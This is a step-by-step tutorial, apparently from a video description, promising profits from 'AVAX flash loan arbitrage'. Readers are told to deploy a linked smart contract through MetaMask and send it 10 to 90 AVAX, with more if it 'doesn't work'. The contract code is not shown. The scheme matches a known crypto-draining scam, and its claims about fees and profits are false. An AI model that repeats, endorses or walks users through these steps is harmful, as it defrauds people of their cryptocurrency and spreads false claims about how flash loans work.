A flash loan has to be borrowed and repaid within the same blockchain transaction.

Step By Step Tutorial for AVAX Flash Loan:

1. Get the Metamask Extension for your browser
2. Open 👉[ Ссылка ] from within your browser.
3. Click on File Explorers and click "Create New File ".
4. Name the file avaxArbitrage.sol and paste the Flash Loan Smart Contract Code link below.


Smart Contract: 👉 [ Ссылка ]


5. Click on Deploy & Run transactions and set "ENVIRONMENT" to (Injected Web3) OR (Injected Provider - MetaMask).
6. Connect your MetaMask wallet.
7. Click on the "Solidity Compiler" and set the compiler version to 0.5.0
8. Click on the Solidity Compiler and then click the blue button "Compile avaxArbitrage.sol"
9. Wait for the code to compile.
10. Click the arrow down on the "CONTRACT" and select "InitiateFlashLoan - avaxArbitrage.sol"
11. Click on Deploy & run transactions then click on the down arrow right from the "Deploy" button
12. 👉On "_TOKENNAME" MyToken
13. 👉On "_TOKENSYMBOL" TOK
14. 👉On "_LOANAMOUNT" 200
15. Click Transact and confirm the transaction in MetaMask.
16. Wait for the transaction to confirm.
17. Copy the address of the newly deployed contract.
18. Send AVAX to the deployed contract to initiate the swap 10 AVAX (60 AVAX up is better as you will get a bigger amount in each swap)

➡️ NOTE: UPDATED GAS AMOUNT FEE REQUIREMENT: 10 AVAX - 90 AVAX is required to perform arbitrage successfully depending on gwei.

19. Wait for the transaction to confirm.
20. Now, Click "flashloan" (red box) to execute the Flash Loan.
21. Confirm the transaction in MetaMask and wait for the confirmation.
22. You can now check your wallet

Note: if it doesn't work with 10 AVAX try to send another 10 AVAX (60 is better), because fees may be different from day to day. (10 AVAX for each 2000 AVAX you are borrowing)

Avoid using very low amounts as contract may fail below 10 AVAX

Make sure to transfer your Funds out to another wallet when you're done.

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